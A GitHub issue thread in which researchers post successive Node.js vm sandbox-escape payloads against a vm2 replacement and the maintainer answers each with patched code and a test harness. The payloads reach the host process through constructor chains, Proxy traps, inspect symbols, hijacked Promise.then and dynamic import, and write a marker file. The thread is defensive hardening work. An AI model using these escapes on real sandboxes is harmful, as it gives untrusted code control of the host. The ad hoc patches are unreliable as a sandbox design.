wanjo-tech / vm2

replacement to the vm2 lib
8 stars 0 forks source link

escape camp #2

Closed j4k0xb closed 4 months ago

j4k0xb commented 5 months ago
process.on('unhandledRejection', (reason, promise) => {
  console.error('WARNING unhandledRejection', promise, 'reason:', reason);
});

var jevalx = async(js,ctx,timeout=60000,More=['process','Symbol','Error','eval','require'],vm=require('node:vm'),Wtf={})=>{
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
  try{return await vm.createScript(js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})}
  catch(ex){throw ex}finally{for(var k in Wtf){globalThis[k]=Wtf[k]};}
};
void (async () => {
  await Promise.resolve();
  await Promise.resolve();
  this.constructor
    .constructor("return process")()
    .mainModule.require("fs")
    .writeFileSync("pwned", "");
})();
const customInspectSymbol = Symbol.for({
  toString: () => "nodejs.util.inspect.custom",
});

throw {
  [customInspectSymbol]: () => {
    this.constructor
      .constructor("return process")()
      .mainModule.require("fs")
      .writeFileSync("pwned", "");
  },
};
mgttt commented 5 months ago

@j4k0xb I've thought you are the mgr of vm2. Sorry. Good to see the game continue

fixing it, come back to you soon

ANYWAY, trying to find and fix problem is NEVER annoying.

mgttt commented 5 months ago

Promise and Symbol is not needed inside sandbox, so a change to js is patched.

hope you still have interest to crack it @j4k0xb

process.on('unhandledRejection', (reason, promise) => {
  console.error('WARNING unhandledRejection', promise, 'reason:', reason);
});

var jevalx = async(js,ctx,timeout=60000,More=['process','Promise','Symbol','Error','eval','require'],vm=require('node:vm'))=>{
  let Wtf={};
  const PromiseWtf = Promise;
  const processWtf = process;
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
  let rst;
  let err;
  try{
    rst = await vm.createScript('delete Promise;delete Symbol;'+js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})}
  catch(ex){ err=ex; }
  finally{
    return new PromiseWtf((r,j)=>{
      for(var k in Wtf){globalThis[k]=Wtf[k]};
      globalThis['process'] = processWtf;
      globalThis['Promise'] = PromiseWtf;
      if (err) j(err); else r(rst)
    });
  }
};

//test a:
(async()=>{
  let code = `void (async() => {
  await Promise.resolve();
  await Promise.resolve();
  this.constructor
    .constructor("return process")()
    .mainModule.require("fs")
    .writeFileSync("pwneda", "");
  })()`;
  try{
    console.log('AAAA result',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex',ex);
  }
  console.log('AAAA confirm process is still here',typeof(process));
})().then(async()=>{ //test b:
  var code=`
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });

    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwnedb", "");
      },
    }
  `;
  try{
    console.log('BBBBB result',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex',''+ex);
  }
  console.log('BBBB confirm process is still here',typeof(process),typeof globalThis['process']);
})
j4k0xb commented 5 months ago
async function f() {}
void (async () => {
  await f();
  await f();
  this.constructor
    .constructor("return process")()
    .mainModule.require("fs")
    .writeFileSync("pwned", "");
})();
const Symbol = Object.getOwnPropertySymbols(Array)[0].constructor;

const customInspectSymbol = Symbol.for({
  toString: () => "nodejs.util.inspect.custom",
});

throw {
  [customInspectSymbol]: () => {
    this.constructor
      .constructor("return process")()
      .mainModule.require("fs")
      .writeFileSync("pwned", "");
  },
};
mgttt commented 5 months ago

all set @j4k0xb

process.on('unhandledRejection', (reason, promise) => {
  console.error('WARNING unhandledRejection', promise, 'reason:', reason);
  //TODO jot down the possible hacker even we've done
});
process.on('uncaughtException', (error) => {
  console.error('Uncaught exception:', error);
});

var jevalx_ = async(js,ctx,timeout=60000,More=['process','Error','eval','require'],vm=require('node:vm'))=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
  let rst;
  let err;
  try{
    rst = await vm.createScript(js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
  }catch(ex){ console.log('jevalx_',ex); err = ''+ex }//TODO LOGGING
  for(var k in Wtf){globalThis[k]=Wtf[k]};
  if (err) throw err;
  return rst;
};
var jevalx = async(js,ctx,timeout=60000)=>{
  const processWtf = process;process=undefined;
  const setTimeoutWtf = setTimeout;
  let rst;
  let err;
  try{ rst = await jevalx_(js,ctx,timeout);}
  catch(ex){//TODO LOGGING
    console.log('jevalx.ex',ex);
    err = ''+ex;
  }
  //finally{ process = processWtf; }
  return new Promise((r,j)=>{
    //delay, or using nextTick, anyway
    setTimeoutWtf(()=>{ process = processWtf; if (err) j(err); else r(rst); },1);
  });
};

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{                           //test a:
  let code = `async function f() {}
    void (async () => {
      await f();
      await f();
      //even more:
      //await f();
      //await f();
      //await f();
      //await f();
      //await f();
      //await f();
      this.constructor
        .constructor("return process")()
        .mainModule.require("fs")
        .writeFileSync("pwneda", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{ //test b:
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwnedb", "");
      },
    }
  `;
  try{
    console.log('BBBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
  console.log('--------- TEST END -----------');
});
mgttt commented 5 months ago

The vulnerable part is the "process" in the global.

Once we hide it before sandbox and restore afterwards, then we still hold the flag.

Unless the prisoner can find a new way to delay the pawn, we can checkmate with our sword "setTimeout 1" at the end.

Still waiting challenge (codes will be clearned up later...)

j4k0xb commented 5 months ago

removing globals introduced yet another vulnerability 😉

Object.defineProperty(
  this.constructor.constructor("return this")(),
  "process",
  {
    set(process) {
      process.mainModule.require("fs").writeFileSync("pwned", "");
    },
  }
);
mgttt commented 5 months ago

great! reply you later

removing globals introduced yet another vulnerability 😉

Object.defineProperty(
  this.constructor.constructor("return this")(),
  "process",
  {
    set(process) {
      process.mainModule.require("fs").writeFileSync("pwned", "");
    },
  }
);
mgttt commented 5 months ago

It tested ok if add 'Object' in the More to removed in sandbox. But this is not a good solution, I'll try to investigate more tomorrow

j4k0xb commented 5 months ago

Can also get Object from ({}).constructor

XmiliaH commented 5 months ago

I hope I am still allowed to post my attack too.

const code = "import('fs').then(m=>m.writeFileSync('pwned', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
obj

and a simplified version:

throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")};
mgttt commented 5 months ago

all your cases is done. @XmiliaH @j4k0xb

the Sandbox still stand... keep going!

process.on('unhandledRejection', (reason, promise) => {
  console.log('WARNING',reason)
  //console.error('WARNING unhandledRejection', promise, 'reason:', reason);
  //TODO jot down the possible hacker even we've done
});
process.on('uncaughtException', (error) => {
  console.log('Uncaught exception:', error);
});

const setTimeoutWtf = setTimeout;
const globalWTf = global;
const globalThisWTf = globalThis;
const processWtf = process;
const ObjectWtf= Object;
var jevalx_ = async(js,ctx,timeout=60000,vm=require('node:vm'))=>{
  let rst;
  let err;
  try{
    rst = vm.createScript(js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
    if(rst && rst.then){ //inspired by @XmiliaH: .then is vulnerable
      console.log('wowh rst.then',rst.then)
      delete rst.then
    }
    if (typeof(rst)=='Promise') rst = await rst;
  }catch(ex){ err = ex}
  if (err) throw err;
  return rst;
};
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require'])=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}

  //inspired by @j4k0xb, we set the mine before the enenies:
  try{Object.defineProperty(globalThis,'process',{get(k){return this._process},set(o){this._process=o}})}catch(ex){}

  let rst;
  let err;
  try{ rst = await jevalx_(js,ctx,timeout); }
  catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'SandboxEvil',js} }
  return new Promise((r,j)=>{
    setTimeoutWtf(()=>{
      for(var k in Wtf){globalThis[k]=Wtf[k]};
      process = processWtf;
      if (err) j(err); else r(rst);
    },1);
  });
};

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{
  let code = `async function f() {}
void (async () => {
        await f();
        await f();
        await f();
        await f();
        this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwned_case_b", "");
      },
    }
  `;
  try{
    console.log('BBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
  try{
    console.log('CCCC result=',await jevalx(code));
  }catch(ex){
    console.log('CCCC ex=',typeof ex,ex);
  }
  console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
  try{
    console.log('DDDD result=',await jevalx(code));
  }catch(ex){
    console.log('DDDD ex=',typeof ex,ex);
  }
  console.log('DDDD check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
obj
`
  try{
    console.log('EEEE result=',await jevalx(code));
  }catch(ex){
    console.log('EEEE ex=',typeof ex,ex);
  }
  console.log('EEEE check=',typeof(process),typeof(Promise));

}).then(async()=>{
  //basic normal case:
  console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
  console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));

  //console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
  //console.log('check process',await jevalx('this.constructor.constructor("return typeof(process)")()'));

  //console.log('check "this"',await jevalx('[this,2**3]'));
  console.log('ZZZ final check=',typeof(process),typeof(Promise));
  console.log('--------- TEST END -----------');
});
j4k0xb commented 5 months ago

almost same as before

({}).constructor.defineProperty(
  this.constructor.constructor("return this")(),
  "_process",
  {
    set(process) {
      process.mainModule.require("fs").writeFileSync("pwned", "");
    },
  }
);

new way:

new Proxy((_) => _, {
  get: new Proxy((_) => _, {
    apply: function (target, thisArg, args) {
      args.constructor
        .constructor("return process")()
        ?.mainModule.require("fs")
        .writeFileSync("pwned", "");
    },
  }),
});
mgttt commented 5 months ago

@j4k0xb

both new cases are good inspiration, it do take me some time to write the test code, and they are fixed now!

thank you very much for the kind patience!!

process.on('unhandledRejection', (reason, promise) => {
  console.log('WARNING',reason)
  //console.error('WARNING unhandledRejection', promise, 'reason:', reason);
  //TODO jot down the possible hacker even we've done
});
process.on('uncaughtException', (error) => {
  console.log('Uncaught exception:', error);
});

const setTimeoutWtf = setTimeout;
const processWtf = process;
const globalThisWtf = globalThis;
//const globalWtf = global;
const ProxyWTf=Proxy;

var jevalx_ = async(js,ctx,timeout=60000,vm=require('node:vm'))=>{
  let rst;
  let err;
  try{
    rst = vm.createScript('delete Proxy;'//NOTES: works, but need to find more if any "Proxy" cases..
      +js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
    //console.log('tmp rst',typeof(rst))
    if(rst==globalThisWtf) rst = {message:'MaybeEvil',js};
    if(rst && rst.then){ //inspired by @XmiliaH: .then is vulnerable
      delete rst.then
    }
    if (typeof(rst)=='Promise') rst = await rst;
  }catch(ex){ err = ex }
  if (err) throw err;
  return rst;
};
var jevalx = async(js,ctx,timeout=60000,More=['Proxy','process','eval','require'])=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}

  //inspired by @j4k0xb, we set the mine before the enenies:
  let the_process;
  try{Object.defineProperty(globalThis,'process',{get(k){
        //console.log('get process',typeof the_process);
      return the_process},set(o){//console.log( 'set process',typeof o);
      the_process=o}})}catch(ex){}
  //globalThis.process=undefined;
  process=undefined;
  Proxy=undefined;

  let rst;
  let err;
  try{ rst = await jevalx_(js,ctx,timeout); }
  catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'SandboxEvil',js} }
  return new Promise((r,j)=>{
    setTimeoutWtf(()=>{
      for(var k in Wtf){globalThis[k]=Wtf[k]};
      process = processWtf;
      Proxy = ProxyWTf;
      if (err) j(err); else r(rst);
    },1);
  });
};

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{
  let code = `async function f() {}
void (async () => {
        await f();
        await f();
        await f();
        await f();
        this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwned_case_b", "");
      },
    }
  `;
  try{
    console.log('BBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
  try{
    console.log('CCCC result=',await jevalx(code));
  }catch(ex){
    console.log('CCCC ex=',typeof ex,ex);
  }
  console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
  try{
    console.log('DDDD result=',await jevalx(code));
  }catch(ex){
    console.log('DDDD ex=',typeof ex,ex);
  }
  console.log('DDDD check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
  try{
    console.log('EEEE result=',await jevalx(code));
  }catch(ex){
    console.log('EEEE ex=',typeof ex,ex);
  }
  console.log('EEEE check=',typeof(process),typeof(Promise));

}).then(async()=>{
  var code=`
  ({}).constructor.defineProperty(
    this.constructor.constructor("return this")(),
    "_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
  }
)
  `;
  try{
    console.log('FFFF result=',await jevalx(code));
  }catch(ex){
    console.log('FFFF ex=',typeof ex,ex);
  }
  console.log('FFFF check=',typeof(process),typeof(Promise));

}).then(async()=>{
  //var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
  var code=`
  new Proxy((_) => _, {
  get: new Proxy((_) => _, {
    apply: function (target, thisArg, args) {
      args.constructor
        .constructor("return process")()
        ?.mainModule.require("fs")
        .writeFileSync("pwned_case_g", "");
    },
  }),
});`
  try{
    console.log('GGGG result=',await jevalx(code));
  }catch(ex){
    console.log('GGGG ex=',typeof ex,ex);
  }
  console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
  //basic normal case:
  console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
  console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));

  //console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
  //console.log('check process',await jevalx('this.constructor.constructor("return typeof(process)")()'));

  //console.log('check "this"',await jevalx('[this,2**3]'));
  console.log('ZZZ final check=',typeof(process),typeof(Promise));
  console.log('--------- TEST END -----------');
});
mgttt commented 5 months ago

while waiting for new challenge, I made a cleanup.

process.on('unhandledRejection', (reason, promise) => {
  console.log('WARNING',reason)
  //console.error('WARNING unhandledRejection', promise, 'reason:', reason);
  //TODO jot down the possible hacker even we've done
});
process.on('uncaughtException', (error) => {
  console.log('Uncaught exception:', error);
});

const setTimeoutWtf = setTimeout;
const processWtf = process;
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require'],vm=require('node:vm'))=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}

  //inspired by @j4k0xb, we set the mine before the enenies:
  let the_process;
  try{Object.defineProperty(globalThis,'process',{get(k){ return the_process},set(o){ the_process=o}})}catch(ex){}
  process=undefined;

  let rst;
  let err;
  try{
    rst = vm.createScript('delete Proxy;'//NOTES: works, but maybe need to find more if any "Proxy" cases?
      +js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})

    if(rst==globalThis) rst = {message:'MaybeEvil',js};

    //inspired by @XmiliaH: .then is vulnerable:
    if(rst && rst.then){ delete rst.then }
    if (typeof(rst)=='Promise') rst = await rst;
  }
  catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'SandboxEvil',js} }
  return new Promise((r,j)=>{
    setTimeoutWtf(()=>{
      for(var k in Wtf){globalThis[k]=Wtf[k]};
      process=processWtf;
      if (err) j(err); else r(rst);
    },1);
  });
};

test

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{
  let code = `async function f() {}
void (async () => {
        await f();
        await f();
        await f();
        await f();
        this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwned_case_b", "");
      },
    }
  `;
  try{
    console.log('BBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
  try{
    console.log('CCCC result=',await jevalx(code));
  }catch(ex){
    console.log('CCCC ex=',typeof ex,ex);
  }
  console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
  try{
    console.log('DDDD result=',await jevalx(code));
  }catch(ex){
    console.log('DDDD ex=',typeof ex,ex);
  }
  console.log('DDDD check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
  try{
    console.log('EEEE result=',await jevalx(code));
  }catch(ex){
    console.log('EEEE ex=',typeof ex,ex);
  }
  console.log('EEEE check=',typeof(process),typeof(Promise));

}).then(async()=>{
  var code=`
  ({}).constructor.defineProperty(
    this.constructor.constructor("return this")(),
    "_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
  }
)
  `;
  try{
    console.log('FFFF result=',await jevalx(code));
  }catch(ex){
    console.log('FFFF ex=',typeof ex,ex);
  }
  console.log('FFFF check=',typeof(process),typeof(Promise));

}).then(async()=>{
  //var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
  //var code=`let global_ = ({}).constructor.constructor("return this")();global_.Proxy`;
  var code=`
  new Proxy((_) => _, {
  get: new Proxy((_) => _, {
    apply: function (target, thisArg, args) {
      args.constructor
        .constructor("return process")()
        ?.mainModule.require("fs")
        .writeFileSync("pwned_case_g", "");
    },
  }),
});`
  try{
    console.log('GGGG result=',await jevalx(code));
  }catch(ex){
    console.log('GGGG ex=',typeof ex,ex);
  }
  console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
  //basic normal case:
  console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
  console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));

  //console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
  //console.log('check process',await jevalx('this.constructor.constructor("return typeof(process)")()'));

  //console.log('check "this"',await jevalx('[this,2**3]'));
  console.log('ZZZ final check=',typeof(process),typeof(Promise));
  console.log('--------- TEST END -----------');
});
j4k0xb commented 5 months ago
const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
  return new Promise(executor).then(() => {
    hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
  });
};
mgttt commented 5 months ago

done! case H is added for your case. @j4k0xb

in the mean time, I'am trying to find the case that using Symbol to reflect sort of Promise/Proxy...

const processWtf = process;
const PromiseWtf = Promise;

process.on('unhandledRejection', (reason, promise) => {
  console.log('WARNING',reason)
  //console.error('WARNING unhandledRejection', promise, 'reason:', reason);
  //TODO jot down the possible hacker even we've done
});
process.on('uncaughtException', (error) => {
  console.log('Uncaught exception:', error);
});

const setTimeoutWtf = setTimeout;
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require'],vm=require('node:vm'))=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}

  //inspired by @j4k0xb, we set the mine before the enenies:
  let the_process;
  try{Object.defineProperty(globalThis,'process',{get(k){ return the_process},set(o){ the_process=o}})}catch(ex){}
  delete Promise;

  let rst;
  let err;
  try{
    rst = vm.createScript('delete Promise;delete Error;delete Proxy;'+//NOTES: works until any spoil case.
      js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})

    if(rst==globalThis) rst = {message:'MaybeEvil',js};

    //inspired by @XmiliaH: .then is vulnerable:
    if(rst && rst.then){ delete rst.then }

    let typeof_rst = typeof(rst);
    if ('function'==typeof_rst){ rst = rst() }
    if (rst instanceof PromiseWtf) rst = await rst;
  }
  catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'SandboxEvil',js} }
  return new PromiseWtf((r,j)=>{
    setTimeoutWtf(()=>{
      for(var k in Wtf){globalThis[k]=Wtf[k]};
      Promise = PromiseWtf;
      if (err) j(err); else r(rst);
    },1);
  });
};

TEST

(async()=>{
  console.log('--------- TEST START -----------');
})().then(async()=>{
  let code = `async function f() {}
void (async () => {
        await f();
        await f();
        await f();
        await f();
        this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
    })();`;
  try{
    console.log('AAAA result=',await jevalx(code));
  }catch(ex){
    console.log('AAAA ex=',ex);
  }
  console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
    const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
    const customInspectSymbol = Symbol.for({
      toString: () => "nodejs.util.inspect.custom",
    });
    throw {
      [customInspectSymbol]: () => {
        this.constructor
          .constructor("return process")()
          .mainModule.require("fs")
          .writeFileSync("pwned_case_b", "");
      },
    }
  `;
  try{
    console.log('BBBB result=',await jevalx(code));
  }catch(ex){
    console.log('BBBB ex=',typeof ex,ex);
  }
  console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
  try{
    console.log('CCCC result=',await jevalx(code));
  }catch(ex){
    console.log('CCCC ex=',typeof ex,ex);
  }
  console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
  try{
    console.log('DDDD result=',await jevalx(code));
  }catch(ex){
    console.log('DDDD ex=',typeof ex,ex);
  }
  console.log('DDDD check=',typeof(process),typeof(Promise));

}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
  try{
    console.log('EEEE result=',await jevalx(code));
  }catch(ex){
    console.log('EEEE ex=',typeof ex,ex);
  }
  console.log('EEEE check=',typeof(process),typeof(Promise));

}).then(async()=>{
  var code=`
  ({}).constructor.defineProperty(
    this.constructor.constructor("return this")(),
    "_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
  }
)
  `;
  try{
    console.log('FFFF result=',await jevalx(code));
  }catch(ex){
    console.log('FFFF ex=',typeof ex,ex);
  }
  console.log('FFFF check=',typeof(process),typeof(Promise));

}).then(async()=>{
  //var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
  //var code=`let global_ = ({}).constructor.constructor("return this")();global_.Proxy`;
  var code=`
  new Proxy((_) => _, {
  get: new Proxy((_) => _, {
    apply: function (target, thisArg, args) {
      args.constructor
        .constructor("return process")()
        ?.mainModule.require("fs")
        .writeFileSync("pwned_case_g", "");
    },
  }),
});`
  try{
    console.log('GGGG result=',await jevalx(code));
  }catch(ex){
    console.log('GGGG ex=',typeof ex,ex);
  }
  console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
  var code=`
  const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
  return new Promise(executor).then(() => {
    hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
  });
}
`
  try{
    console.log('HHHH result=',await jevalx(code));
  }catch(ex){
    console.log('HHHH ex=',typeof ex,ex);
  }
  console.log('HHHH check=',typeof(process),typeof(Promise));
}).then(async()=>{
  //basic normal case:
  console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
  console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));

  //console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
  //console.log('check process',await jevalx('this.constructor.constructor("return typeof(process)")()'));

  //console.log('check "this"',await jevalx('[this,2**3]'));
  console.log('ZZZ final check=',typeof(process),typeof(Promise));
  console.log(Promise);
  console.log('--------- TEST END -----------');
});
XmiliaH commented 5 months ago
const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
const global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
    if (global.process) {
        global.process.mainModule.require("fs").writeFileSync("pwned", "");
        promise.__proto__.then = oldThen;
    }
    return oldThen.apply(this, arguments);
};
1

and

eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
mgttt commented 5 months ago

@XmiliaH thank you very much!

Now ok by banning the the import(), eval() and restore of Promise.prototype.then

kinda dirty, but still stand! Plz see test cases IIII and JJJJ below...

const setTimeoutWtf=setTimeout,processWtf=typeof(process)=='undefined'?undefined:process,PromiseWtf=Promise,ProxyWtf=Proxy,ErrorWtf=Error;
const PromiseWtf_prototype_then = PromiseWtf.prototype.then;//
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require'],vm=require('node:vm'))=>{
  let Wtf={};
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}

  //inspired by @j4k0xb, we set the mine before the enenies:
  let the_process;
  try{Object.defineProperty(globalThis,'process',{get(k){ return the_process},set(o){ the_process=o}})}catch(ex){}
  delete Promise;delete Error;delete Proxy;delete process;
  let rst,err,evil=false;
  try{
    rst = await new PromiseWtf(async(r,j)=>{
      try{
        rst = vm.createScript('delete eval;delete Promise;delete Error;delete Proxy;'+//NOTES: works until new spoil case.
          js,{importModuleDynamically(specifier, referrer, importAttributes){evil=true;globalThis['process'] = undefined}
        }).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
        if (evil){ return j({message:'EvilImport',js}) }
        if(rst==globalThis) rst = {message:'EvilGlobal',js};
        let typeof_rst = typeof(rst);
        if ('function'==typeof_rst){ rst = rst() }

        //inspired by @XmiliaH: .then is vulnerable:
        if(rst && rst.then){ delete rst.then }
        if (rst instanceof PromiseWtf) rst = await rst;
      }
      catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'EvilSandbox',js} }
      if (err) j(err); else r(rst);
    })
